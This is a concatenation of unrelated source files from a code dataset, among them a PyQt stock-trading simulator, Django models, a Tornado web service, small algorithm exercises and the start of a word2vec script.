self.ui.listWidget_suchergebnis.itemDoubleClicked.connect(lambda listitem: self.bg(self.launchAktieninfo, (listitem, True,)))\n self.ui.listWidget_gekaufteAktien.itemDoubleClicked.connect(lambda listitem: self.bg(self.launchAktieninfo, (listitem, True,)))\n self.ui.pushButton_kaufen.clicked.connect(lambda: self.bg(self.kaufenclick, (True,)))\n self.ui.pushButton_verkaufen.clicked.connect(lambda: self.bg(self.verkaufenclick, (True,)))\n self.ui.tabWidget.currentChanged.connect(lambda x: self.bg(self.aktualisiereTabPortfolio, (x, True,)))\n self.ui.tabWidget.currentChanged.connect(self.aktualisiereTabEinstellungen)\n self.ui.pushButton_preis.clicked.connect(lambda: self.bg(self.aktualisierePreisLabel, (True,)))\n self.ui.pushButton_refresh_Gebuehr.clicked.connect(self.aktualisierenOrderGebuehren)\n self.ui.pushButton_refresh_DepotGuthaben.clicked.connect(self.aktualisierenDepotguthaben)\n self.ui.pushButton_profil_loeschen.clicked.connect(self.profilLoeschen)\n self.ui.pushButton_profil_laden.clicked.connect(self.profilLaden)\n self.ui.pushButton_neues_profil.clicked.connect(self.profilErstellen)\n self.ui.pushButton_refresh_waehrung.clicked.connect(self.aktualisiereWaehrung)\n self.ui.pushButton_ticker_aktualisieren.clicked.connect(lambda: self.bg(self.tickerAktualisieren, (True,)))\n\n # Hier die Methoden für Funktionen der Widgets (z.B. Button) einfügen\n def abfrageName( self ):\n output = qtw.QInputDialog.getText(self, \"Namenswahl\", \"Dein Name:\", qtw.QLineEdit.Normal, \"\")\n return output\n\n def profilErstellen( self ):\n name, nichtCancel = self.abfrageName()\n if nichtCancel and name != '':\n self.spieler.profil_neu(name)\n self.aktualisiereTabEinstellungen()\n \n def profilLoeschen( self ):\n current = self.ui.listWidget_profile.currentItem()\n if current.text() != self.spieler.name:\n self.spieler.profil_loeschen(current.text())\n self.ui.listWidget_profile.removeItemWidget(current)\n self.aktualisiereTabEinstellungen()\n \n def profilLaden( self ):\n name = self.ui.listWidget_profile.currentItem().text()\n self.spieler.profil_laden(name)\n self.aktualisiereTabEinstellungen()\n \n def aktualisiereTabEinstellungen( self, i=2 ):\n if i != 2: return\n self.ui.listWidget_profile.clear()\n self.ui.listWidget_profile.addItems(self.spieler.profile_auflisten())\n self.ui.spinBox_OrderGebuehr.setValue(self.spieler.OrderGebuehren)\n self.ui.groupBox_profile.setTitle(\"Profile (zurzeit %s)\" % self.spieler.name)\n\n def tickerAktualisieren( self, threaded=False):\n self.daten.tickerErneuern()\n self.daten.tickerbaum.saveToFile()\n if threaded: cursorZuruecksetzen()\n\n def kaufenclick( self, threaded=False ):\n self.spieler.wertpapierKaufen(int(self.ui.spinBox_anzahlKaufen.value()), self.aktuellerTicker)\n self.aktualisiereImBesitzLabel(threaded=False)\n if threaded: cursorZuruecksetzen()\n\n def verkaufenclick( self, threaded=False ):\n self.spieler.wertpapierVerkaufen(int(self.ui.spinBox_anzahlVerkaufen.value()), self.aktuellerTicker)\n self.aktualisiereImBesitzLabel(threaded=False)\n if threaded: cursorZuruecksetzen()\n\n def aktualisierePreisLabel( self, threaded=False ):\n tickerpreis = self.daten.aktuellenTickerpreisErhalten(self.aktuellerTicker)\n aktiensumme = self.ui.spinBox_anzahlKaufen.value() - self.ui.spinBox_anzahlVerkaufen.value()\n tickerpreis *= aktiensumme\n self.ui.label_preis.setText(\"%3.2f %s\" % (tickerpreis, self.spieler.waehrung))\n if threaded: cursorZuruecksetzen()\n\n def aktualisiereImBesitzLabel( self, threaded=False ):\n self.ui.label_imBesitz.setText(\"Im Besitz: %d\" % self.spieler.aktienAnzahlErhalten(self.aktuellerTicker))\n if threaded: cursorZuruecksetzen()\n\n def suche( self ):\n self.ui.listWidget_suchergebnis.clear()\n phrase = self.ui.plainTextEdit_aktiensuche.toPlainText()\n liste = [\"%s (%s)\" % (e['name'], e['symbol']) for e in self.daten.tickerbaum.inhaltSuchen(phrase)]\n self.ui.listWidget_suchergebnis.addItems(liste)\n\n def launchAktieninfo( self, qListItem, threaded=False ):\n label = qListItem.text()\n ticker = label.split('(')[1][:-1]\n self.aktuellerTicker = ticker\n self.ui.tabWidget.setTabText(3, label)\n self.ui.tabWidget.setTabVisible(3, True)\n self.ui.tabWidget.setCurrentIndex(3)\n self.konfiguriereAktieninfo(ticker)\n if threaded: cursorZuruecksetzen()\n\n def konfiguriereAktieninfo( self, ticker: str ):\n self.ui.label_preis.setText(self.spieler.waehrung)\n self.aktualisiereImBesitzLabel(threaded=False)\n self.ui.plotWidget.plot(self.daten.tickerpreisErhalten(ticker), pen='b', clear=True)\n #self.ui.plotWidget.plot(self.daten.tickerpreisErhalten(ticker, key='Volume'), pen='g')\n\n def aktualisiereTabPortfolio( self , i =0, threaded=False ):\n if i != 0:\n if threaded: cursorZuruecksetzen()\n return\n self.ui.label_begruessung.setText(\"Hallo, %s!\" % self.spieler.name)\n\n self.ui.listWidget_gekaufteAktien.clear()\n itemlist = [\"%s (%s)\" % (self.daten.aktiennameErhalten(e), e) for e in self.spieler.aktienliste]\n self.ui.listWidget_gekaufteAktien.addItems(itemlist)\n self.ui.listWidget_historie.clear()\n itemlist = [\"%sx %s zum Einzelpreis von %3.2f %s\" % (e['Volumen'], e['Ticker'], e['Preis'], self.spieler.waehrung) for e in self.spieler.kaufHistorie]\n itemlist.reverse()\n self.ui.listWidget_historie.addItems(itemlist)\n\n self.ui.label_depotwert.setText(\"Depotwert: %3.2f %s\" % (self.spieler.depotwertBerechnen(), self.spieler.waehrung))\n self.ui.label_guthaben.setText( \"Guthaben: %3.2f %s\" % (self.spieler.guthaben, self.spieler.waehrung))\n if threaded: cursorZuruecksetzen()\n\n def bg( self, funktion: 'funktion', arguments: tuple): # im Hintergrund ausfuehren\n cursorAufBeschaeftigt()\n x = threading.Thread(target=funktion, args=arguments)\n x.start()\n\n def aktualisierenOrderGebuehren( self ):\n self.spieler.OrderGebuehren = self.ui.spinBox_OrderGebuehr.value()\n\n def aktualisierenDepotguthaben( self ):\n self.spieler.guthaben = self.ui.spinBox_Depotguthaben.value()\n \n def aktualisiereWaehrung( self ):\n self.spieler.waehrung = self.ui.plainTextEdit_Waehrung.toPlainText()\n self.ui.label_waehrung_depotguthaben_aendern.setText(self.spieler.waehrung)\n self.ui.label_waehrung_ordergebuehren.setText(self.spieler.waehrung)\n\n\ndef main():\n pass\n\ndef cursorAufBeschaeftigt():\n app.setOverrideCursor(qtc.Qt.BusyCursor)\n\ndef cursorZuruecksetzen():\n app.restoreOverrideCursor()\n\nif __name__ == \"__main__\":\n main()\n\n app = qtw.QApplication([])\n\n widget = MainWindow()\n widget.show()\n\n app.exec_()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"597213254","text":"# def func_name(a,b,c,d):\r\n# print(a,b,c,d)\r\n# func_name(\"Saad\", \"Ahmad\", \"Dawood\", \"Shahzaib\")\r\n# agr kaal ko hum or name add akrain tw hamain function ma b changing krni pry gi sth sth har baar\r\ndef funarg(normal , *args , **kwargs): #this order very important\r\n print(normal)\r\n for item in args:\r\n print(item)\r\n print(\"\\nI would like to introduce: \")\r\n for key,value in kwargs.items():\r\n print(f\"{key} is a {value}\")\r\nnormal = \"My name is Saad\"\r\narg = [\"Saad\",\"Ahmad\", \"Dawood\", \"Shahzaib\", \"Ahmad\", \"Dawood\", \"Shahzaib\"]\r\nkargs = {\"Saad\":\"Programmer\", \"Shahzaib\":\"CA\", \"Dawood\":\"Police Officer\"}\r\nfunarg(normal,*arg,**kargs)\r\n","sub_path":"31_args_wargs.py","file_name":"31_args_wargs.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"98419292","text":"from pathlib import Path\nimport os\nimport datetime\nimport File\nimport Config\nimport shutil\nimport ExceptionManager\n\nexceptionFileName = \"Directory.py\"\n\n\nclass DirectoryManager:\n\n def __init__(self, environtment):\n self.deployPackInfo = 'DeployPackInfo.log'\n self.runLog = 'Run.log'\n # Root Path\n self.rootPath = Path(self.getRootDirectory())\n # Old klasör yapısı\n self.OldRootDir = self.getOldRootDirectory()\n self.createDirectory(self.OldRootDir)\n \n # Preprod\n self.env = environtment\n if self.env.upper() == 'PREPROD':\n self.prodDbDeployPath = self.getProdDbDeployPath()\n self.packInfoFromDbFolder = self.OldRootDir / self.deployPackInfo\n self.packInfoFromProdDbDeploy = self.prodDbDeployPath / self.deployPackInfo\n\n @staticmethod\n def getDateWithTime():\n return datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n\n def createDirectory(self, path):\n try:\n if not Path.exists(path):\n Path(path).mkdir()\n except Exception as error:\n ExceptionManager.WriteException(\n str(error), \"createDirectory\", exceptionFileName)\n\n def move(self, source, destination):\n try:\n shutil.move(str(source.resolve()),\n str(destination.resolve()))\n except Exception as error:\n ExceptionManager.WriteException(\n str(error), \"move\", exceptionFileName)\n\n def getRootDirectory(self):\n return Path(Config.getRootDirectory())\n\n def getOldRootDirectory(self):\n oldDirectory = Path(Config.getOldDirectory())\n oldDirectory = oldDirectory / self.getDateWithTime()\n return oldDirectory\n\n def getAllFiles(self, files):\n for (l_dirpath, l_dirnames, l_filenames) in os.walk(self.rootPath):\n if l_filenames:\n for fileName in l_filenames:\n filePath = Path(Path(l_dirpath).resolve(), fileName)\n files.append(File.File(fileName, filePath))\n\n def moveScriptsToOldFolder(self, files):\n for file in files:\n self.move(file.path, self.OldRootDir)\n file.path = self.OldRootDir.resolve() / file.name\n\n def prepareSpoolPath(self, files):\n for file in files:\n file.spoolPath = file.path.with_suffix('.log')\n\n def prepareRunLog(self):\n try:\n with open(self.OldRootDir.resolve() / self.runLog, \"a+\") as f:\n f.write(\"Versiyon: 0.2.1\")\n f.close()\n except Exception as error:\n ExceptionManager.WriteException(\n str(error), \"writeRunLog\", exceptionFileName)\n\n def writeRunLog(self, queryResult, errorMessage, fileName):\n try:\n with open(self.OldRootDir.resolve() / self.runLog, \"a+\") as f:\n f.write(\"\\n\")\n f.write(\"-----------------\\n\")\n f.write(fileName + \" - \" + str(queryResult))\n f.close()\n except Exception as error:\n ExceptionManager.WriteException(\n str(error), \"writeRunLog\", exceptionFileName)\n\n # PreProd\n def getProdDbDeployPath(self):\n return Path(Config.getProdDbDeployPath())\n\n def copyScriptsToProdDbFolder(self, files):\n for file in files:\n if file.name.upper() == self.deployPackInfo.upper():\n continue\n if file.name.upper() == self.runLog.upper():\n continue\n self.copy(file.path, self.prodDbDeployPath)\n file.path = self.OldRootDir.resolve() / file.name\n\n def copy(self, source, destination):\n try:\n shutil.copy(str(source.resolve()),\n str(destination.resolve()))\n except Exception as error:\n ExceptionManager.WriteException(\n str(error), \"copy\", exceptionFileName)\n\n def readDeployPackInfo(self):\n read_data = ''\n try:\n with open(self.packInfoFromDbFolder.resolve()) as f:\n read_data = f.read()\n f.close()\n except Exception as error:\n ExceptionManager.WriteException(\n str(error), \"readDeployPackInfo\", exceptionFileName)\n return read_data\n\n def appendDeployPackInfoTo09(self, content):\n try:\n with open(self.packInfoFromProdDbDeploy.resolve(), 'a+') as f:\n f.write('\\n')\n f.write(content)\n f.close()\n except Exception as error:\n ExceptionManager.WriteException(\n str(error), \"appendDeployPackInfoTo09\", exceptionFileName)\n","sub_path":"DirectoryManager.py","file_name":"DirectoryManager.py","file_ext":"py","file_size_in_byte":4676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"107248426","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @return a ListNode\n def addTwoNumbers(self, l1, l2):\n a = l1.val\n i = 1\n while l1.next != None:\n a = a + l1.next.val*(10**i)\n l1 = l1.next\n i = i + 1\n b = l2.val\n i = 1\n while l2.next != None:\n b = b + l2.next.val*(10**i)\n l2 = l2.next\n i = i + 1\n sum = a + b\n #sumstring = str(sum)[::-1]\n #length = len(sumstring)\n res = ListNode(0)\n cur = res\n while sum>=10:\n cur.val = sum%10\n sum = sum/10\n nextnode = ListNode(0)\n cur.next = nextnode\n cur = nextnode\n cur.val = sum\n cur.next = None\n return res\n","sub_path":"add-two-numbers.py","file_name":"add-two-numbers.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"495651737","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.models import AbstractUser\n\n# Create your models here.\nfrom company.models import Company\nfrom department.models import Section\n\nclass Position(models.Model):\n\tname \t\t\t\t= models.CharField(primary_key=True,max_length=50,null = False)\n\tdescription \t\t= models.TextField(null = True,blank = True)\n\n\tdef __str__(self):\n\t\treturn ('%s' % (self.name))\n\n# Techician\n# Hastler\n# Crane\n\nROLE_CHOICES = (\n ('Foreman', 'Foreman'),\n ('Leader', 'Leader'),\n ('Officer','Officer'),\n ('superintendent','superintendent'),\n ('Operator','Operator'),\n ('Manager','Manager')\n )\n\nTITLE_CHOICES = (\n ('Mr', 'Mr.'),\n ('Ms', 'Ms.'),\n ('Mrs', 'Mrs.'),\n ('Miss','Miss.'),\n )\nclass User(AbstractUser):\n\ttitle\t\t\t\t= models.CharField(max_length=10,choices=TITLE_CHOICES,default='Mr')\n\ten\t\t\t\t\t= models.CharField(max_length=50,null = False)\n\tcompany \t\t\t= models.ForeignKey(Company,\n\t\t\t\t\t\t\t\tblank=True,null=True ,on_delete=models.CASCADE,\n\t\t\t\t\t\t\t\trelated_name = 'employees' )\n\tsection\t\t\t\t= models.ForeignKey(Section,\n\t\t\t\t\t\t\t\tblank=True,null=True , on_delete=models.CASCADE,\n\t\t\t\t\t\t\t\trelated_name = 'employees')\n\tposition \t\t\t= models.ForeignKey(Position,\n\t\t\t\t\t\t\t\tblank=True,null=True , on_delete=models.CASCADE,\n\t\t\t\t\t\t\t\trelated_name = 'employees')\n\tdescription \t\t= models.TextField(null = True,blank = True)\n\tmanager \t\t\t= models.ForeignKey('self', blank = True,null=True, related_name='employees',\n\t\t\t\t\t\t\t\ton_delete=models.SET_NULL)\n\tteam\t\t\t\t= models.PositiveSmallIntegerField(default=100)\n\n\tclass Meta:\n\t\tunique_together = (('en','company'))\n\n\tdef __str__(self):\n\t\treturn ('%s %s' % (self.first_name,self.last_name))\n","sub_path":"employee/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"191830646","text":"from django.conf.urls.defaults import patterns, url\n\nfrom poll.models import Poll\n\n\nurlpatterns = patterns(\n '',\n url(\n r'^(?P[\\w-]+)/$',\n 'jmbo.generic.views.generic_object_detail',\n {'queryset':Poll.permitted.all()},\n name='poll_object_detail'\n ),\n url(\n r'^poll-detail-vote/(?P\\d+)/$',\n 'poll.views.poll_vote',\n {'template':'poll/poll_detail.html'},\n name='poll-detail-vote'\n ),\n url(\n r'^poll-widget-vote/(?P\\d+)/$',\n 'poll.views.poll_vote',\n {'template':'poll/poll_widget.html'},\n name='poll-widget-vote'\n ),\n\n)\n","sub_path":"poll/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"4913596","text":"def insertion_sort(numbers):\n for i in range(1,(len(numbers))):\n key = numbers[i]\n j = i - 1\n while (j > -1 and numbers[j] > key):\n numbers[j + 1] = numbers[j]\n j -= 1\n numbers[j + 1] = key\n return numbers\n\nif __name__ == \"__main__\":\n print(insertion_sort([2, 6, 1, 3, 11, 7, 4]))","sub_path":"insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"623665535","text":"N,C=[int(i) for i in input().split()]\r\nL=[int(input())for i in range(N)]\r\n\r\nL.sort()\r\nindexL=0\r\nindexR=len(L)-1\r\n\r\nans=0\r\nwhile indexL 0:\n index -= 1\n else:\n index += 1\n\nprint(len(line))\n","sub_path":"python/d5p1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"51515295","text":"# The MIT License (MIT)\n# Copyright (c) 2018 by EUMETSAT\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy of\n# this software and associated documentation files (the \"Software\"), to deal in\n# the Software without restriction, including without limitation the rights to\n# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\n# of the Software, and to permit persons to whom the Software is furnished to do\n# so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport asyncio\nimport json\nimport logging\nimport os\nimport signal\nimport sys\nimport time\nimport traceback\nfrom datetime import datetime\nfrom typing import Optional, List\n\nimport tornado.options\nimport yaml\nfrom tornado.ioloop import IOLoop\nfrom tornado.log import enable_pretty_logging\nfrom tornado.web import RequestHandler, Application\n\nfrom ocdb.core.roles import Roles\nfrom .context import WsContext\nfrom .defaults import DEFAULT_ADDRESS, DEFAULT_PORT, DEFAULT_CONFIG_FILE, DEFAULT_UPDATE_PERIOD, DEFAULT_LOG_PREFIX, \\\n DEFAULT_SSL\nfrom .reqparams import RequestParams\nfrom ..core import UNDEFINED\n\n_LOG = logging.getLogger('ocdb')\n_LOG_FidRadDb = logging.getLogger('fidraddb')\n\nclass WebService:\n \"\"\"\n A web service that provides a remote API to some application.\n \"\"\"\n\n def __init__(self,\n application: Application,\n address: str = DEFAULT_ADDRESS,\n port: int = DEFAULT_PORT,\n ssl: bool = DEFAULT_SSL,\n config_file: Optional[str] = None,\n update_period: Optional[float] = DEFAULT_UPDATE_PERIOD,\n log_file_prefix: str = DEFAULT_LOG_PREFIX,\n log_to_stderr: bool = False) -> None:\n\n \"\"\"\n Start a tile service.\n\n The *service_info_file*, if given, represents the service in the filesystem, similar to\n the ``/var/run/`` directory on Linux systems.\n\n If the service file exist and its information is compatible with the requested *port*, *address*, *caller*, then\n this function simply returns without taking any other actions.\n\n :param application: The Tornado web application\n :param address: the address\n :param port: the port number\n :param config_file: optional configuration file\n :param update_period: if not-None, time of idleness in seconds before service is updated\n :param log_file_prefix: Log file prefix, default is DEFAULT_LOG_PREFIX\n :param log_to_stderr: Whether logging should be shown on stderr\n :return: service information dictionary\n \"\"\"\n log_dir = os.path.dirname(log_file_prefix)\n if log_dir and not os.path.isdir(log_dir):\n os.makedirs(log_dir, exist_ok=True)\n\n options = tornado.options.options\n options.log_file_prefix = log_file_prefix or DEFAULT_LOG_PREFIX\n options.log_to_stderr = log_to_stderr\n enable_pretty_logging()\n\n self.config_file = os.path.abspath(config_file) if config_file else None\n print(f\"Using config file {self.config_file}\")\n self.config_mtime = None\n self.update_period = update_period\n self.update_timer = None\n self.config_error = None\n self.service_info = dict(port=port,\n address=address,\n started=datetime.now().isoformat(sep=' '),\n pid=os.getpid())\n self.ws_context = WsContext(base_dir=os.path.dirname(self.config_file or os.path.abspath('')))\n\n application.ws_context = self.ws_context\n application.time_of_last_activity = time.process_time()\n self.application = application\n\n from tornado.httpserver import HTTPServer\n\n if ssl:\n self.server = HTTPServer(application, ssl_options={\n \"certfile\": \"static/certs/fullchain.pem\",\n \"keyfile\": \"static/certs/privkey.pem\",\n })\n else:\n self.server = HTTPServer(application)\n\n self.server.listen(port)\n\n # Ensure we have the same event loop in all threads\n asyncio.set_event_loop_policy(_GlobalEventLoopPolicy(asyncio.get_event_loop()))\n # Register handlers for common termination signals\n signal.signal(signal.SIGINT, self._sig_handler)\n signal.signal(signal.SIGTERM, self._sig_handler)\n self._maybe_load_config()\n self._maybe_install_update_check()\n\n def start(self):\n address = self.service_info['address']\n port = self.service_info['port']\n _LOG.info(f'web service running, listening on {address}:{port} (press CTRL+C to stop service)')\n if len(self.ws_context.config.get('databases', {})) == 0:\n _LOG.warning('no databases configured')\n IOLoop.current().start()\n\n def stop(self, kill=False):\n \"\"\"\n Stops the Tornado web server.\n \"\"\"\n if kill:\n sys.exit(0)\n else:\n IOLoop.current().add_callback(self._on_shut_down)\n\n def _on_shut_down(self):\n\n _LOG.info('stopping web service...')\n\n # noinspection PyUnresolvedReferences,PyBroadException\n try:\n self.update_timer.cancel()\n except Exception:\n pass\n\n # Shutdown services such as database drivers\n self.ws_context.dispose()\n\n if self.server:\n self.server.stop()\n self.server = None\n\n IOLoop.current().stop()\n\n # noinspection PyUnusedLocal\n def _sig_handler(self, sig, frame):\n _LOG.warning(f'caught signal {sig}')\n IOLoop.current().add_callback_from_signal(self._on_shut_down)\n\n def _maybe_install_update_check(self):\n if self.update_period is None or self.update_period <= 0:\n return\n IOLoop.current().call_later(self.update_period, self._maybe_check_for_updates)\n\n def _maybe_check_for_updates(self):\n self._maybe_load_config()\n self._maybe_install_update_check()\n\n def _maybe_load_config(self):\n config_file = self.config_file\n if config_file is None:\n if os.path.isfile(DEFAULT_CONFIG_FILE):\n config_file = DEFAULT_CONFIG_FILE\n else:\n return\n try:\n stat = os.stat(config_file)\n except OSError as e:\n if self.config_error is None:\n _LOG.error(f'configuration file {config_file!r}: {e}')\n self.config_error = e\n return\n if self.config_mtime != stat.st_mtime:\n self.config_mtime = stat.st_mtime\n try:\n with open(config_file) as stream:\n # Reconfigure services such as database drivers\n self.ws_context.configure(yaml.safe_load(stream))\n self.config_error = None\n _LOG.info(f'configuration file {config_file!r} successfully loaded')\n except (yaml.YAMLError, OSError) as e:\n if self.config_error is None:\n _LOG.error(f'configuration file {config_file!r}: {e}')\n self.config_error = e\n return\n\n\n# noinspection PyAbstractClass\nclass WsRequestHandler(RequestHandler):\n\n # todo se ... not overwrite __init__ ... see documentation of superclass\n def __init__(self, application, request, **kwargs):\n super(WsRequestHandler, self).__init__(application, request, **kwargs)\n self._header = WsRequestHeader(self)\n self._query = WsRequestQuery(self)\n self._cookie = WsRequestCookie(self)\n\n @property\n def ws_context(self) -> WsContext:\n return self.application.ws_context\n\n @property\n def base_url(self):\n return self.request.protocol + '://' + self.request.host\n\n @property\n def header(self) -> RequestParams:\n return self._header\n\n @property\n def query(self) -> RequestParams:\n return self._query\n\n @property\n def cookie(self) -> RequestParams:\n return self._cookie\n\n def get_current_user(self):\n cookie = self.get_secure_cookie(\"user\")\n if cookie is not None:\n return cookie.decode(\"utf-8\")\n else:\n return None\n\n def set_default_headers(self):\n self.set_header(\"Access-Control-Allow-Origin\", \"*\")\n self.set_header(\"Access-Control-Allow-Credentials\", \"true\")\n self.set_header(\"Access-Control-Allow-Headers\", \"Content-Type, Authorization, X-Requested-With\")\n self.set_header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')\n\n def options(self, *args, **kwargs):\n self.set_status(204)\n self.finish()\n\n def on_finish(self):\n \"\"\"\n Store time of last activity so we can measure time of inactivity and then optionally auto-exit.\n \"\"\"\n self.application.time_of_last_activity = time.process_time()\n\n @classmethod\n def to_json(cls, obj) -> str:\n \"\"\"Convert object *obj* to JSON string\"\"\"\n return json.dumps(obj, indent=2)\n\n def write_error(self, status_code, **kwargs):\n \"\"\"\n Overwrite ``RequestHandler`` default behaviour. Our implementation writes a server error response as\n JSON object using the form {\"error\": {\"code\": *status_code*, ... }}.\n\n If the \"serve_traceback\" is set and *kwargs* contains a value for keyword \"exc_info\",\n it is expected to be a traceback object from an exception handler and the error object will also contain\n a field \"traceback\" containing the traceback text lines.\n \"\"\"\n self.set_header('Content-Type', 'application/json')\n obj = dict(error=dict(code=status_code, message=self._reason))\n if self.settings.get(\"serve_traceback\") and \"exc_info\" in kwargs:\n traceback_lines = []\n for traceback_line in traceback.format_exception(*kwargs[\"exc_info\"]):\n traceback_lines.append(traceback_line)\n obj['traceback'] = traceback_lines\n self.finish(self.to_json(obj))\n\n def has_admin_rights(self):\n user_name = self.get_current_user()\n if not user_name:\n return False\n\n user = self.ws_context.get_user(user_name)\n if not Roles.is_admin(user.roles):\n return False\n\n return True\n\n def has_submit_rights(self):\n user_name = self.get_current_user()\n if not user_name:\n return False\n\n user = self.ws_context.get_user(user_name)\n if not Roles.is_submit(user.roles):\n return False\n\n return True\n\n def has_fidrad_rights(self):\n user_name = self.get_current_user()\n if not user_name:\n return False\n\n user = self.ws_context.get_user(user_name)\n if not Roles.is_fidrad(user.roles):\n return False\n\n return True\n\n def is_self(self, user_name: str):\n current_user_name = self.get_current_user()\n if not current_user_name:\n return False\n\n if user_name == current_user_name:\n return True\n else:\n return False\n\n\nclass WsRequestHeader(RequestParams):\n def __init__(self, handler: RequestHandler):\n self.handler = handler\n\n def get_param(self, name: str, default: Optional[str] = UNDEFINED) -> Optional[str]:\n \"\"\"\n Get query argument.\n :param name: Query argument name\n :param default: Default value.\n :return: the value or none\n :raise: WsBadRequestError\n \"\"\"\n if default == UNDEFINED and name not in self.handler.request.headers:\n raise self._error_missing(name)\n return self.handler.request.headers.get(name, default=default)\n\n def get_params(self, name: str) -> Optional[str]:\n \"\"\"\n Get query argument array.\n :param name: Query argument name\n :return: the values or an empyty array\n :raise: WsBadRequestError\n \"\"\"\n raise NotImplementedError()\n\n\nclass WsRequestQuery(RequestParams):\n def __init__(self, handler: RequestHandler):\n self.handler = handler\n\n def get_param(self, name: str, default: Optional[str] = UNDEFINED) -> Optional[str]:\n \"\"\"\n Get query argument.\n :param name: Query argument name\n :param default: Default value.\n :return: the value or none\n :raise: WsBadRequestError\n \"\"\"\n if default == UNDEFINED:\n return self.handler.get_query_argument(name)\n return self.handler.get_query_argument(name, default=default)\n\n def get_params(self, name: str) -> List[str]:\n \"\"\"\n Get query argument array.\n :param name: Query argument name\n :return: the values or an empty array\n :raise: WsBadRequestError\n \"\"\"\n return self.handler.get_query_arguments(name)\n\n\nclass WsRequestCookie(RequestParams):\n def __init__(self, handler: RequestHandler):\n self.handler = handler\n\n def get_param(self, name: str, default: Optional[str] = UNDEFINED) -> Optional[str]:\n \"\"\"\n Get query argument.\n :param name: Query argument name\n :param default: Default value.\n :return: the value or none\n :raise: WsBadRequestError\n \"\"\"\n if default == UNDEFINED:\n return self.handler.get_cookie(name)\n return self.handler.get_cookie(name, default=default)\n\n def get_params(self, name: str) -> Optional[str]:\n \"\"\"\n Get query argument array.\n :param name: Query argument name\n :return: the values or an empyty array\n :raise: WsBadRequestError\n \"\"\"\n raise NotImplementedError()\n\n\n# noinspection PyAbstractClass\nclass _GlobalEventLoopPolicy(asyncio.DefaultEventLoopPolicy):\n \"\"\"\n Event loop policy that has one fixed global loop for all threads.\n\n We use it for the following reason: As of Tornado 5 IOLoop.current() no longer has\n a single global instance. It is a thread-local instance, but only on the main thread.\n Other threads have no IOLoop instance by default.\n\n _GlobalEventLoopPolicy is a fix that allows us to access the same IOLoop\n in all threads.\n\n Usage::\n\n asyncio.set_event_loop_policy(_GlobalEventLoopPolicy(asyncio.get_event_loop()))\n\n \"\"\"\n\n def __init__(self, global_loop):\n super().__init__()\n self._global_loop = global_loop\n\n def get_event_loop(self):\n return self._global_loop\n\n\ndef url_pattern(pattern: str):\n \"\"\"\n Convert a string *pattern* where any occurrences of ``{{NAME}}`` are replaced by an equivalent\n regex expression which will assign matching character groups to NAME. Characters match until\n one of the RFC 2396 reserved characters is found or the end of the *pattern* is reached.\n\n The function can be used to map URLs patterns to request handlers as desired by the Tornado web server, see\n http://www.tornadoweb.org/en/stable/web.html\n\n RFC 2396 Uniform Resource Identifiers (URI): Generic Syntax lists\n the following reserved characters::\n\n reserved = \";\" | \"/\" | \"?\" | \":\" | \"@\" | \"&\" | \"=\" | \"+\" | \"$\" | \",\"\n\n :param pattern: URL pattern\n :return: equivalent regex pattern\n :raise ValueError: if *pattern* is invalid\n \"\"\"\n name_pattern = '(?P<%s>[^\\;\\/\\?\\:\\@\\&\\=\\+\\$\\,]+)'\n reg_expr = ''\n pos = 0\n while True:\n pos1 = pattern.find('{', pos)\n if pos1 >= 0:\n pos2 = pattern.find('}', pos1 + 1)\n if pos2 > pos1:\n name = pattern[pos1 + 1:pos2]\n if not name.isidentifier():\n raise ValueError('name in {name} must be a valid identifier, but got \"%s\"' % name)\n reg_expr += pattern[pos:pos1] + (name_pattern % name)\n pos = pos2 + 1\n else:\n raise ValueError('no matching \"}\" after \"{\" in \"%s\"' % pattern)\n\n else:\n reg_expr += pattern[pos:]\n break\n return reg_expr\n","sub_path":"ocdb/ws/webservice.py","file_name":"webservice.py","file_ext":"py","file_size_in_byte":16587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"229211614","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Kyle Tilbury, March 2018\n\n# This program takes a text file and produces a word2vec model.\nfrom __future__ import print_function\n\nimport timeit\nimport logging\nimport os.path\nimport sys\nfrom gensim.models import Word2Vec\nfrom 